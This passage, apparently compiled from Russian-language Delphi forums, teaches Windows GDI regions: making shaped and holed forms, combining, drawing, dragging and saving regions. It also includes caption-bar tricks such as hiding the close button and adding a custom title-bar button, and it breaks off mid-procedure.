end;

Вот его стоит рассмотреть подробнее.

dwSize: Указывает размер заголовка (т.е. _RGNDATAHEADER) в байтах;
iType: Тип региона, всегда равен RDH_RECTANGLES = 1;
nCount: Кол-во прямоугольников, из которых составлен регион;
nRgnSize: Размер буфера, необходимого для получения структуры TRect, указывающей координаты прямоугольников, составляющих регион. Если размер неизвестен, поле может быть равно нулю;
rcBound: Координаты прямоугольника, в который вписан регион.

Вот именно эта структура и задаёт регион, как таковой, и именно с ней работают практически все функции API. Пора познакомиться с ними поближе.

Условно все эти функции можно разбить на три группы: создание/удаление, отрисовка и прочие. Расмотрим их все по порядку. Для удобства я буду приводить не си-шные декларации из SDK, а паскалевские декларации, объявленные в модуле Windows, ибо именно с ними нам и предстоит работать.

Функции создания/удаления регионов

function CombineRgn (p1, p2, p3: HRGN; p4: Integer): Integer; stdcall;
Создаёт новый регион p1, комбинируя регионы p2 и p3 на основе режима p4

function CreateEllipticRgn (p1, p2, p3, p4: Integer): HRGN; stdcall;
Создаёт эллиптический регион по четырём координатам

function CreateEllipticRgnIndirect (const p1: TRect): HRGN; stdcall;
[i]Создаёт эллиптический регион, впсанный в заданный прямоугольник p1

function CreatePolygonRgn (const Points; Count, FillMode: Integer): HRGN; stdcall;
Создаёт полигональный регион по массиву точек Points с числом вершин Count с режимом заливки FillMode

function CreatePolyPolygonRgn (const pPtStructs; const pIntArray; p3, p4: Integer): HRGN; stdcall;
Создаёт регион, состоящий из серии полигонов, задаваемых массивом точек pPtStructs, число вершин каждого из которых указывается в массиве pIntArray с общим числом вершин p3 и режимом заливки p4

function CreateRectRgn (p1, p2, p3, p4: Integer): HRGN; stdcall;
Создаёт прямоугольный регион по четырём координатам

function CreateRectRgnIndirect (const p1: TRect): HRGN; stdcall;
Создаёт прямоугольный регион по заданному прямоугольнику p1

function CreateRoundRectRgn (p1, p2, p3, p4, p5, p6: Integer): HRGN; stdcall;
Создаёт прямоугольный регион по координатам p1-p4 с эллиптически закруглёнными краями с высотой эллипса скругления p5 и шириной p6

function ExtCreateRegion (XForm: PXForm; Count: DWORD; const RgnData: TRgnData): HRGN; stdcall;
Создаёт регион по его данным RgnData размером Count с указанной трансформацией XForm

function DeleteObject (p1: HGDIOBJ): BOOL; stdcall;
Удаляет регион и освобождает все, занятые под него ресурсы

Надо сказать, что последняя функция DeleteObject не фигурирует в разделе по работе с регионами в явном виде, т.к. предназначена она для более широкого использования. По большому счёту, она удаляет любой логический объект GDI (перо, кисть, шрифт, битмап) и освобождает все отведённые под этот объект ресурсы. Для полных даунов SDK ласково уточняет, что после вызова сей функции ссылка на удаляемый объект становится неопределённой.

Функции отображения регионов

function SetPolyFillMode (DC: HDC; PolyFillMode: Integer): Integer; stdcall;
Устанавливает режим заливки регионов PolyFillMode для контекста dc

function GetPolyFillMode (DC: HDC): Integer; stdcall;
Возвращает текущий режим заливки регионов на конктексте dc

function PaintRgn (DC: HDC; RGN: HRGN): BOOL; stdcall;
Рисует регион rgn на контексте dc текущей кистью контекста

function FillRgn (DC: HDC; hrgn: HRGN; hbr: HBRUSH): BOOL; stdcall;
Заливает регион hrgn на контексте dc с заданной кистью hbr

function FrameRgn (DC: HDC; hrgn: HRGN; hbr: HBRUSH; Width, Height: Integer): BOOL; stdcall;
Рисует на контексте dc рамку вокруг региона hrgn кистью hbr соответствующей ширины и высоты Width и Height

Прочие функции

function EqualRgn (p1, p2: HRGN): BOOL; stdcall;
Проверяет, являются ли размеры и форма регионов p1 и p2 идентичными

function InvertRgn (DC: HDC; p2: HRGN): BOOL; stdcall;
Инвертирует цвета региона p2 на контексте dc

function OffsetRgn (RGN: HRGN; XOffset, YOffset: Integer): Integer; stdcall;
Сдвигает регион rgn по осям X и Y на XOffset и YOffset соответственно

function SetRectRgn (Rgn: HRgn; X1, Y1, X2, Y2: Integer): BOOL; stdcall;
Конвертирует регион rgn в прямоугольный, заданный четырьмя координатами

function GetRgnBox (RGN: HRGN; var p2: TRect): Integer; stdcall;
Возвращает прямоугольник p2, в который вписан указанный регион rgn

function RectInRegion (RGN: HRGN; const Rect: TRect): BOOL; stdcall;
Определяет, "влазит" ли пряпоугольник Rect в границы региона rgn

function PtInRegion (RGN: HRGN; X, Y: Integer): BOOL; stdcall;
Определяет, входит ли точка (X,Y) в регион rgn

function GetRegionData (RGN: HRGN; p2: DWORD; p3: PRgnData): DWORD; stdcall;
Заполняет данными региона rgn буфер PRgnData размером p2, при pRgnData = nil - возвращает размер региона в памяти

Каким же образом это безобидное и абстрактное, в общем-то, понятие взаимодействует со вполне реальными элементами управления? Ведь все перечисленные функции служат, по большому счёту, для того, чтобы создать некую замысловатую фигуру и тем или другим способом отрисовать её в чьём-то контексте, DC, а о том, чтобы каким-то образом изменить форму той же кнопки и речи даже нет. Дело здесь в том, что мы пока мельком рассмотрели функции, касающиеся создания и манипуляций регионами. А ещё существуют функции работы с окнами, и вот там-то нам все наши созданные регионы и пригодятся. Поглядим, что это за функции.

Функции работы с окнами и регионами

function SetWindowRgn(hWnd: HWND; hRgn: HRGN; bRedraw: BOOL): Integer; stdcall;
Устанавливает для окна с дескриптором hWnd регион отображения hRgn, при взведённом флаге bRedraw - перерисовывая окно

function GetWindowRgn(hWnd: HWND; hRgn: HRGN): Integer; stdcall;
Возвращает регион отображения hRgn для окна с дескриптором hWnd

Сразу оговорюсь, что на самом деле этих функций гораздо больше, равно как и область применения регионов гораздо ширше. Но нас они пока не волнуют. Итак, мы знаем, как создать и модифицировать регион, как скормить его окну (ибо параметр hWnd есть не что иное, как TWinControl.Handle), и как его уничтожить. Настало время слегка поэксперементировать.

Создание региона

Запускаем среду, заводим новый проект, тщательно сохраняем куда попало. В обработчике OnCreate пишем первое, что, по идее, приходит в голову:

procedure TForm1.FormCreate(Sender: TObject);
var
 r: hRGN;
begin
 r := CreateEllipticRgn (0, 0, Width, Height);
 try
   SetWindowRgn (Handle, r, TRUE);
 finally
   DeleteObject (r);
 end;
end;

Результатом запуска окажется симпатичный эллипс на экране. А теперь попробуйте дописать такой простенький обработчик на OnKeyPress:

procedure TForm1.FormKeyPress(Sender: TObject; var Key: Char);
var
 bmp: TBitmap;
begin
 if Key = 'p' then begin
   bmp := GetFormImage;
   try
     bmp.SaveToFile ('c:\temp.bmp');
   finally
     bmp.Free;
   end;
 end;
end;

В момент выполнения программы при нажатии "p" мы, по идее должны получить картинку нашей формы. Но как это ни покажется странным, мы получим картинку полной, т.е. неусечённой формы. Собственно, если взглянуть на реализацию GetFormImage - ничего странного не обнаружиться, создаётся виртуальный битмап, на который себя отрисовывает форма и все контролы на ней. Но об этой забавной фиче стоит помнить: для любой, самой извратной формы всегда можно получить её первоначальную картинку функцией GetFormBitmap, а любой загруглённый/продырявленный/звездообразный контрол всегда можно отрисовать на любой левый канвас в его первозданном виде функцией PaintTo.

Аналогичным образом создаются и другие типы регионов, единственное внимание стоит, пожалуй, уделить полигональным. Начнём с самого простого. В делкарации функции есть интересный параметр: FillMode. Согласно SDK он может принимать два значения - ALTERNATE и WINDING. Со вторым всё просто - вычисляются границы, и всё, что между - заливается текущей кистью. А вот первый при заливке анализирует, по какую сторону ребра (чётную или нечётную) он находится. Что это означает, мы увидим на следующем примере.

procedure TForm1.FormCreate(Sender: TObject);
var
 ap: array [1..5] of TPoint;
 r: hRGN;
begin
 ap [1] := Point (Width div 2, 0);
 ap [2] := Point (Width div 3 * 2, Height);
 ap [3] := Point (0, Height div 3);
 ap [4] := Point (Width, Height div 3);
 ap [5] := Point (Width div 3, Height);
 r := CreatePolygonRgn (ap, 5, WINDING);
 try
   SetWindowRgn (Handle, r, TRUE);
 finally
   DeleteObject (r);
 end;
end;

Запустите программу, посмотрите на результат (она превратит форму в звезду), и поменяйте значение параметра FillMode на ALTERNATE. И запустите её снова. На тот случай, если по каким-то причинам вам влом напрягаться со всякими там модами, ниже приведёны примеры того, что вы могли увидеть:
FillMode = WINDING

FillMode = ALTERNATE

Обратите внимание, что если вы кликаете мышкой на "дырку", сообщение получает окно, лежащее под вашей формой. Если форма выведена на пустом десктопе, вы вполне успешно можете из "дырки" вызвать контекстное меню экрана. Т.е. это дейтсвительно "дыра", а не просто прозрачная отрисовка.

Теперь разберёмся, как работает функция CreatePolyPolygonRgn. Её предназначение в том, чтобы рисовать сразу несколько регионов, которые могу даже не пересекаться. А могу - и пересекаться, именно для этого и нужен параметр FillMode. Поглядим, как это выглядит, и что оно делает:

procedure TForm1.FormCreate(Sender: TObject);
var
 ap: array [1..7] of TPoint;
 av: array [1..2] of integer;
 r: hRGN;
begin
 ap [1] := Point (0, 0);
 ap [2] := Point (Width, 0);
 ap [3] := Point (Width, Height div 2);
 ap [4] := Point (0, Height div 2);
 ap [5] := Point (Width div 2, Height div 2);
 ap [6] := Point (0, Height);
 ap [7] := Point (Width, Height);
 av [1] := 4;
 av [2] := 3;
 r := CreatePolyPolygonRgn (ap, av, 2, WINDING);
 try
   SetWindowRgn (Handle, r, TRUE);
 finally
   DeleteObject (r);
 end;
end;

Из первой серии функций осталось только разобраться с комбинированием регионов, о чем и пойдёт речь далее.

Комбинирование регионов

Результат комбинирования определяется четвёртым параметром функции CombineRgn. Давайте посмтрим, какие значения он может принимать.

RGN_ADD Пересечение двух регионов p2 и p3
RGN_COPY Создаёт копию региона p2
RGN_DIFF Вернёт часть p2, не являющуюся частью p3
RGN_OR Объединение двух регионов p2 и p3
RGN_XOR Объединяет регионы p2 и p3, исключая пересекающиеся области

Возвращаемые значения могут быть NULLREGION (пустой регион), SIMPLEREGION (один прямоугольник), COMPLEXREGION (всё остальное) и ERROR (нифига не создано). Посмотрим, как это выглядит на практике (чтобы не сильно мучитья, я просто дописывал предыдущий пример).

procedure TForm1.FormCreate(Sender: TObject);
var
 ap: array [1..7] of TPoint;
 av: array [1..2] of integer;
 r, r2, r3, r4: hRGN;
begin
 ap [1] := Point (0, 0);
 ap [2] := Point (Width, 0);
 ap [3] := Point (Width, Height div 2);
 ap [4] := Point (0, Height div 2);
 ap [5] := Point (Width div 2, Height div 2);
 ap [6] := Point (0, Height);
 ap [7] := Point (Width, Height);
 av [1] := 4;
 av [2] := 3;
 r := CreatePolyPolygonRgn (ap, av, 2, WINDING);
 try
   r2 := CreateRoundRectRgn
     (Width div 4 - 20, Height div 6 - 20,
      Width div 4 + 20, Height div 6 + 20, 16, 16);
   r3 := CreateRoundRectRgn
     (Width div 4 * 3 - 20, Height div 6 - 20,
      Width div 4 * 3 + 20, Height div 6 + 20, 16, 16);
   r4 := CreateEllipticRgn
      (Width div 10, Height div 9 * 3,
      Width div 10 * 9, Height div 9 * 4);
   try
     CombineRgn (r, r, r2, RGN_XOR);
     CombineRgn (r, r, r3, RGN_XOR);
     CombineRgn (r, r, r4, RGN_XOR);
   finally
     DeleteObject (r2);
     DeleteObject (r3);
     DeleteObject (r4);
   end;
   SetWindowRgn (Handle, r, TRUE);
 finally
   DeleteObject (r);
 end;
end;

Важно помнить, что первый параметр, вновь создаваемый регион, должен существовать до вызова функции.

Нерасмотренной из первой группы функций осталась только ExtCreateRgn. Я сейчас не буду на ней заостряться, скажу только, что на пару с функцией GetRegionData, она может пригодиться, например, для сохранения и загрузки регионов в файл / из файла.

Рисование регионов

Регионы нужны не только для того, чтобы резать дырки в формах. Иногда они могут оказаться довольно полезным инструментом именно в своём "родном" качестве, т.е. для отрисовки на экране достаточно сложных геометрических фигур. Например, для вывода карт, представляющих собой совокупность ломанных линий, построенных по массивам точек. Создать такую линию нам уже не составит труда, пора разобраться, как её показать юзеру.

Из функций отрисовки две первые нам уже смутно знакомы: они делают тоже, что делает параметр FillMode (ALTERNATE/WINDING) для функций CreatePolygonRgn и CreatePolyPolygonRgn. GetPolyFillMode получает заданный для указанного контекста режим заливки, а SetPolyFillMode устанавливает его. Просто на этот раз речь идёт не о создании региона, а всего лишь о его отрисовке. Установленное значение будет иметь смысл для всех функций, заливающих регион, т.е. PaintRgn и FillRgn, при этом сам регион останется таким, каким он и был создан, а вот раскрашен будет по разному, в том случае, если он состоит из нескольких пересекающихся регионов. Для простых регионов типа прямоугольника или элипса установка данного значения ничего не меняет.

Итак. Давайте срочно что-нить создадим и нарисуем. Можно, конечно, сделать это в одной функции, например в OnCreate, но тогда изображение будет весьма недолговечным - до первой перерисовки формы. Поэтому поступим иначе: объявим private property fRgn, в OnCreate его инициализируем, в OnPaint будем его отображать, а в OnDestroy - уничтожим. Код методов представлен ниже:

procedure TForm1.FormCreate(Sender: TObject);
begin
 fRgn := CreateEllipticRgn (10, 10, 200, 200);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
 DeleteObject (fRgn);
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
 Canvas.Brush.Color := clBlack;
 PaintRgn (Canvas.Handle, fRgn);
end;

Следует помнить, что Функции отрисовки регионов всегда работают с цветом, указанным в Canvas.Brush.Color. Даже рисуя бордюр (frame) использоваться будет не цвет Canvas.Pen, что, в общем-то, представляется более логичным, а цвет Canvas.Brush.

Ничего такой получился кружочек. Погребального вида. Давайте сделаем его более жизнерадостным, и заодно разберёмся, как работает FrameRgn:

procedure TForm1.FormPaint(Sender: TObject);
var
 bmp: TBitmap;
begin
 bmp := TBitmap.Create;
 try
   bmp.LoadFromFile ('C:\WINDOWS\Голубые кружева 16.bmp');
   Canvas.Brush.Bitmap := bmp;
   PaintRgn (Canvas.Handle, fRgn);
   Canvas.Brush.Color := clBlack;
   FrameRgn (Canvas.Handle, fRgn, Canvas.Brush.Handle, 2, 2);
 finally
   Canvas.Brush.Bitmap := nil;
   bmp.Free;
 end;
end;

У меня получилась такая вот картинка:

Насколько я могу судить, функции FillRgn и PaintRgn отличаются друг от друга только тем, что первая позволяет указать дескриптор кисти, не связанной с текущим canvas'ом. Сомнительная фича с точки зрения дельфей, т.к. манипулировать с текущим цветом кисти канваса всяко легче, чем создавать отдельный экземпляр класса TBrush. Вот, собственно, и всё об отрисовке. Примечательно то, что для того, чтобы нарисовать регион нам не нужно знать, что он из себя представляет. Мы просто передаём дескриптор одной и той же процедуре, а она отобразит на экране круг, овал, треугольник, звезду Давида - всё, что угодно.

Функции, представленные в разделе прочее ничего особенно интересного из себя не представляют, и, в общем-то, интуитивно понятны. поэтому рассотрим лишь некоторые из них.

Прочие функции

Сделаем это на примере. Давайте озадачимся возможностью таскать мышкой по всей форме круг, созданный в предыдущем примере. Что нам нужно. Во-первых, запоминать, где началось перетаскивание (fStartX, fStartY). Во-вторых, флаг (fDragging), указывающий, что юзер действительно перетскивает наш регион, а не просто гоняет с экрана мух. В третьих, надо узнать, ткнул ли он на регион, а не мимо (PtInRegion). В четвёртых, надо двигать регион по мере того, как он двигает мышь (OffsetRgn). Вот, пожалуй, и всё. На этот раз текст модуля приведу полностью. Единственное что там стоит упомянуть - это свойство DoubleBuffered. Оно выставлено в TRUE, т.к. иначе появляется мерцание. Итак.

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs;

type
 TForm1 = class(TForm)
   procedure FormCreate(Sender: TObject);
   procedure FormDestroy(Sender: TObject);
   procedure FormPaint(Sender: TObject);
   procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
       Shift: TShiftState; X, Y: Integer);
   procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
       Y: Integer);
 private
   { Private declarations }
   fDragging: boolean;
   fRgn: hRGN;
   fStartX,
   fStartY: integer;
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
 fRgn := CreateEllipticRgn (10, 10, 200, 200);
 fDragging := FALSE;
 DoubleBuffered := TRUE;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
 DeleteObject (fRgn);
end;

procedure TForm1.FormPaint(Sender: TObject);
var
 bmp: TBitmap;
begin
 bmp := TBitmap.Create;
 try
   bmp.LoadFromFile ('C:\WINDOWS\Aieoaua e?o?aaa 16.bmp');
   Canvas.Brush.Bitmap := bmp;
   PaintRgn (Canvas.Handle, fRgn);
   Canvas.Brush.Color := clBlack;
   FrameRgn (Canvas.Handle, fRgn, Canvas.Brush.Handle, 2, 2);
 finally
   Canvas.Brush.Bitmap := nil;
   bmp.Free;
 end;
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
 Shift: TShiftState; X, Y: Integer);
begin
 if (Button = mbLeft) and (PtInRegion (fRgn, X, Y)) then begin
   fDragging := TRUE;
   fStartX := X;
   fStartY := Y;
 end;
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
 Y: Integer);
begin
 if (ssLeft in Shift) and fDragging then begin
   OffsetRgn (fRgn, X - fStartX, Y - fStartY);
   fStartX := X;
   fStartY := Y;
   Refresh;
 end;
end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
 Shift: TShiftState; X, Y: Integer);
begin
 fDragging := FALSE;
end;

end.

Как видим, абсолютно ничего сложного в работе с регионами нет. А вот возможности они дают довольно интересные. Фигуру любой формы можно раскрасить как угодно (в т.ч. и битмапом), вывести на экран, определить, входит ли точка (X,Y) в эту фигуру, двигать её, и многое ещё другое. Для полноты картины нам осталось только научиться сохранять регионы на диск и считывать обратно.

Сохранение и загрузка региона

Как уже говорилось в самом начале, все данные о регионе храняться в структуре RGNDATA. Упоминалась также и функция, позволяющая эту структуру получить: GetRegionData. У этой функции есть приятная особенность: если в третий параметр передать nil, то она вернёт размер памяти, необходимый для сохранения региона.

procedure SaveRegion (FileName: string);
var
 s: TStream;
 size: cardinal;
 data: pointer;
begin
 s := TFileStream.Create (FileName, fmCreate);
 try
   size := GetRegionData (fRgn, SizeOf (RGNDATA), nil);
   data := GlobalAllocPtr(GPTR, size);
   try
     GetRegionData(fRgn, size, data);
     s.Write(data^, size);
   finally
     GlobalFreePtr(data);
   end;
 finally
   s.Free;
 end;
end;

Аналогичным образом можно и прочитать записанный на диск регион:

function LoadRegion (FileName: string): hRGN;
var
 data: PRgnData;
 s: TStream;
begin
 s := TFileStream.Create (FileName, fmOpenRead);
 try
   data := GlobalAllocPtr(GPTR, s.size);
   try
     s.Read(data^, s.Size);
     Result := ExtCreateRegion(nil, s.Size, data^);
   finally
     GlobalFreePtr(data);
   end;
 finally
   s.Free;
 end;
end;

В заключении рассмотрим ещё одну любопытную возможность: создание региона на основе маски.

Создание региона по картинке

Реализовать это достаточно просто: создадим прямоугольный регион, размерами равный картинке, а потом потом "вычтем" из него все точки с заданным цветом прозрачности. Ниже приведён исходный код:

function RgnByMask (bmp: TBitmap; Color: TColor): hRgn;
var
 i, j: integer;
 tmp: hRgn;
begin
 Result := CreateRectRgn (0, 0, bmp.Width - 1, bmp.Height - 1);
 for j := 0 to bmp.Height - 2 do begin
   for i := 0 to bmp.Width - 2 do begin
     if bmp.Canvas.Pixels [i, j] = Color then begin
       tmp := CreateRectRgn (i, j, i + 1, j + 1);
       try
         CombineRgn (Result, Result, tmp, RGN_DIFF);
       finally          DeleteObject (tmp);
       end;
     end;
   end;
 end;
end;

Для примера я написал несколько слов в Paint'е, сохранил на диск, и использовал вышеприведённую процедуру. Получилось примерно следующее:

Вверху видны синие остатки безвозвратно загубленного Caption'а формы

Вот на этом, пожалуй, можно закончить этот обзор, отнюдь не претендующий на исчерпываемость. Хочется надеятся, что кого-то сей опус подвигнет на создание чего-нить хорошего, или просто сэкономит несколько часов ползанья по Win32 SDK... Удачи.

Автор: z77
Взято с Vingrad.ru http://forum.vingrad.ru


Манипуляции с заголовком формы

Cодержание раздела:

Как скрыть кнопку [х] в заголовке окна?
Изменяем заголовок окна
Добавляем дополнительную кнопку в заголовок формы
Как перехватить события в неклиентской области формы?
Как изменить шрифт и выравнивание в заголовке формы?

См. также статьи в других разделах:
Помещение VCL компонентов в область заголовка
Как сделать форму без caption?
Как убрать заголовок в дочерней форме MDI?
Как перехватить события в неклиентской области формы, в заголовке окна, например?
Как сделать форму без caption?


Как скрыть кнопку [х] в заголовке окна?

Автор: Fernando Silva

Пример показывает, как при инициализации формы происходит поиск нашего окна, а затем вычисление местоположения нужной нам кнопки в заголовке окна.

procedure TForm1.FormCreate(Sender: TObject);
var
  hwndHandle: THANDLE;
  hMenuHandle: HMENU;
  iPos: Integer;

begin
  hwndHandle := FindWindow(nil, PChar(Caption));
  if (hwndHandle <> 0) then
  begin
    hMenuHandle := GetSystemMenu(hwndHandle, FALSE);
    if (hMenuHandle <> 0) then
    begin
      DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
      iPos := GetMenuItemCount(hMenuHandle);
      Dec(iPos);
        { Надо быть уверенным, что нет ошибки т.к. -1 указывает на ошибку }
      if iPos > -1 then
        DeleteMenu(hMenuHandle, iPos, MF_BYPOSITION);
    end;
  end;
end;

Взято из http://forum.sources.ru


Изменяем заголовок окна

Автор: Christian Cristofori

В примере показывается, как изменять заголовок окна (видимый в списке задач при переключении между приложениями) при минимизации окна в иконку.

Сперва необходимо определить сообщение поумолчанию:

Const
  DefMsgNorm = 'MyApp version 1.0';
  DefMsgIcon = 'MyApp. (Use F12 to turn of)';

И добавить две глобальных переменных:

Var
  ActMsgNorm : String;
  ActMsgIcon : String;

Затем при открытии основной формы инициализируем переменные из констант.

Procedure TFormMain.FormCreate( Sender : TObject );
Begin
  ActMsgNorm := DefMsgNorm;
  ActMsgIcon := DefMsgIcon;
  Application.Title := ActMsgNorm;
End;

Затем достаточно в обработчик OnResize добавить следующий код:

Procedure TFormMain.FormResize( Sender : TObject );
Begin
  If ( FormMain.WindowState = wsMinimized ) Then
    Application.Title := ActMsgIcon
  Else
    Application.Title := ActMsgNorm;
End;

Взято из http://forum.sources.ru


Добавляем дополнительную кнопку в заголовок формы

Автор: Vimil Saju

Чтобы добавить дополнительную кнопку, нам прийдётся создать обработчики для следующих событий:
WM_NCPAINT;//вызывается, когда перерисовывается не клиентская область формы
WM_NCACTIVATE; вызывается, когда заголовок формы становится активныи
WM_NCLBUTTONDOWN; вызывается, когда кнопка мыши нажимается на не клиентской области
WM_NCMOUSEMOVE; вызывается, когда курсор мыши передвигается по не клиентской области
WM_MOUSEMOVE;вызывается, когда курсор мыши передвигается по клиентской области
WM_LBUTTONUP; вызывается, когда кнопка мыши отпушена в клиентской области
WM_NCLBUTTONUP; вызывается, когда кнопка мыши отпушена в не клиентской области
WM_NCLBUTTONDBLCLK; вызывается при двойном щелчке мышкой в не клиентской области

Приведённый ниже код модифицирован, чтобы избавиться от нежелательного мерцания кнопки
будем использовать следующие переменные:

h1(Thandle) : хэндл контекста устройства всего окна, включая не клиентскую область.
pressed(boolean): индикатор, показывающий, нажата кнопка или нет.
focuslost(boolean): индикатор, показывающий, находится ли фокус на кнопке или нет.
rec(Trect): размер кнопки.

type
  TForm1 = class(TForm)
    procedure FormPaint(Sender: TObject);
    procedure FormResize(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    procedure WMNCPAINT(var msg:tmessage);message WM_NCPAINT;
    procedure WMNCACTIVATE(var msg:tmessage);message WM_NCACTIVATE;
    procedure WMNCMOUSEDOWN(var msg:tmessage);message WM_NCLBUTTONDOWN;
    procedure WMNCMOUSEMOVE(var msg:tmessage);message WM_NCMOUSEMOVE;
    procedure WMMOVE(var msg:tmessage);message WM_MOUSEMOVE;
    procedure WMLBUTTONUP(var msg:tmessage);message WM_LBUTTONUP;
    procedure WMNCMOUSEUP(var msg:tmessage);message WM_NCLBUTTONUP;
    procedure WNCLBUTTONDBLCLICK(var msg:tmessage);message WM_NCLBUTTONDBLCLK;
  end;

var
  Form1: TForm1;
  h1:thandle;
  pressed:boolean;
  focuslost:boolean;
  rec:trect;
implementation

{$R *.DFM}

procedure tform1.WMLBUTTONUP(var msg:tmessage);
begin
pressed:=false;
invalidaterect(form1.handle,@rec,true);
inherited;
end;

procedure tform1.WMMOVE(var msg:tmessage);
var tmp:boolean
begin
tmp:=focuslost;
focuslost:=true;
if tmp<>focuslost then
  invalidaterect(form1.handle,@rec,true);
inherited;
end;

procedure tform1.WMNCMOUSEMOVE(var msg:tmessage);
var
pt1:tpoint;
tmp:boolean;
begin
tmp:=focuslost;
pt1.x:=msg.LParamLo-form1.left;
pt1.y:=msg.LParamHi-form1.top;
if not(ptinrect(rec,pt1)) then
  focuslost:=true
else
  focuslost:=false;
if tmp<>focuslost then
  invalidaterect(form1.handle,@rec,true);
end;

procedure tform1.WNCLBUTTONDBLCLICK(var msg:tmessage);
var pt1:tpoint;
begin
pt1.x:=msg.LParamLo-form1.left;
pt1.y:=msg.LParamHi-form1.top;
if not(ptinrect(rec,pt1)) then
  inherited;
end;

procedure tform1.WMNCMOUSEUP(var msg:tmessage);
  var pt1:tpoint;
begin
pt1.x:=msg.LParamLo-form1.left;
pt1.y:=msg.LParamHi-form1.top;
if (ptinrect(rec,pt1)) and (focuslost=false) then
  begin
   pressed:=false;
   {
     enter your code here when the button is clicked
   }
   invalidaterect(form1.handle,@rec,true);
  end
else
  begin
   pressed:=false;
   focuslost:=true;
   inherited;
  end;
end;

procedure tform1.WMNCMOUSEDOWN(var msg:tmessage);
var pt1:tpoint;
begin
pt1.x:=msg.LParamLo-form1.left;
pt1.y:=msg.LParamHi-form1.top;
if ptinrect(rec,pt1) then
  begin
   pressed:=true;
   invalidaterect(form1.handle,@rec,true);
  end
else
  begin
   form1.paint;
   inherited;
  end;
end;

procedure tform1.WMNCACTIVATE(var msg:tmessage);
begin
invalidaterect(form1.handle,@rec,true);
inherited;
end;

procedure tform1.WMNCPAINT(var msg:tmessage);

begin
invalidaterect(form1.handle,@rec,true);
inherited;
end;

procedure TForm1.FormPaint(Sender: TObject);
begin
h1:=getwindowdc(form1.handle);
rec.left:=form1.width-75;
rec.top:=6;
rec.right:=form1.width-60;
rec.bottom:=20;
selectobject(h1,getstockobject(ltgray_BRUSH));
rectangle(h1,rec.left,rec.top,rec.right,rec.bottom);
if (pressed=false) or (focuslost=true) then
  drawedge(h1,rec,EDGE_RAISED,BF_RECT)
else if (pressed=true) and (focuslost=false) then
  drawedge(h1,rec,EDGE_SUNKEN,BF_RECT);
releasedc(form1.handle,h1);
end;

procedure TForm1.FormResize(Sender: TObject);
begin
form1.paint;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
rec.left:=0;
rec.top:=0;
rec.bottom:=0;
rec.right:=0;
end;

Комментарии специалистов:

Дата: 25 Августа 2000г.
Автор: NeNashev nashev@mail.ru

InvalidateRect на событие Resize ничего не даёт. Но даже без него
кнопка всё равно моргает при Resize формы... Надо ещё где-то убрать

Для рисования кнопок на заголовке окна лучше пользоваться
DrawFrameControl а не DrawEdge... Так и с не серыми настройками
интерфейса всё правильно будет. Да и проще так.

Названия функций, констант и т.п лучше писать так, как они в описаниях
даются, а не подряд маленькими буквами. Особенно для публикации. Так
оно и читается по большей части лучше, и в С такая привычка Вам не
помешает...

Сравнивать логическое значение с логической константой чтоб получить
логическое значение глупо, так как логическое значение у Вас уже есть.
тоесь вместо
if (pressed=true) and (focuslost=false)
лучше писать
if Pressed and not FocusLost

Для конструирования прямоугольников и точек из координат есть две
простые функции Rect и Point.

В общем Ваша процедура FormPaint может выглядеть так:

procedure TMainForm.FormPaint(Sender: TObject);
var h1:THandle;
begin
h1:=GetWindowDC(MainForm.Handle);
rec:=Rect(MainForm.Width-75,6,MainForm.Width-60,20);
if Pressed and not FocusLost then
  DrawFrameControl(h1, rec, DFC_BUTTON, DFCS_BUTTONPUSH or DFCS_PUSHED)
else
  DrawFrameControl(h1, rec, DFC_BUTTON, DFCS_BUTTONPUSH);
ReleaseDC(MainForm.Handle,h1);
end;

Но вообще-то рисовать эту кнопку надо только при WM_NCPAINT, а не
всегда... И вычислять координаты по другому... Вдруг размер элементов
заголовка у юзера в системе не стандартный? А это просто настраивается...

Взято из http://forum.sources.ru

Непосредственно такой функции вроде нет, но можно изловчиться. Нарисовать там кнопку вручную и обрабатывать команды нажатия мышки на Caption Bar.
Пример.

unit Main;
interface
uses
  Windows, Buttons, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
  TForm1 = class(TForm)
    procedure FormResize(Sender: TObject);
  private
    CaptionBtn : TRect;
    procedure DrawCaptButton;
    procedure WMNCPaint(var Msg : TWMNCPaint); message WM_NCPaint;
    procedure WMNCActivate(var Msg : TWMNCActivate); message WM_NCACTIVATE;
    procedure WMSetText(var Msg : TWMSetText); message WM_SETTEXT;
    procedure WMNCHitTest(var Msg : TWMNCHitTest); message WM_NCHITTEST;
    procedure WMNCLButtonDown(var Msg : TWMNCLButtonDown); message WM_NCLBUTTONDOWN;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation
const
  htCaptionBtn = htSizeLast + 1;
{$R *.DFM}

procedure TForm1.DrawCaptButton;
var
  xFrame,  yFrame,  xSize,  ySize  : Integer;
  R : TRect;
begin
  //Dimensions of Sizeable Frame
  xFrame := GetSystemMetrics(SM_CXFRAME);
  yFrame := GetSystemMetrics(SM_CYFRAME);

  //Dimensions of Caption Buttons
  xSize  := GetSystemMetrics(SM_CXSIZE);
  ySize  := GetSystemMetrics(SM_CYSIZE);

  //Define the placement of the new caption button
  CaptionBtn := Bounds(Width - xFrame - 4*xSize + 2,
                       yFrame + 2, xSize - 2, ySize - 4);

  //Get the handle to canvas using Form's device context
  Canvas.Handle := GetWindowDC(Self.Handle);

  Canvas.Font.Name := 'Symbol';
  Canvas.Font.Color := clBlue;
  Canvas.Font.Style := [fsBold];
  Canvas.Pen.Color := clYellow;
  Canvas.Brush.Color := clBtnFace;

  try
    DrawButtonFace(Canvas, CaptionBtn, 1, bsAutoDetect, False, False, False);
    //Define a smaller drawing rectangle within the button
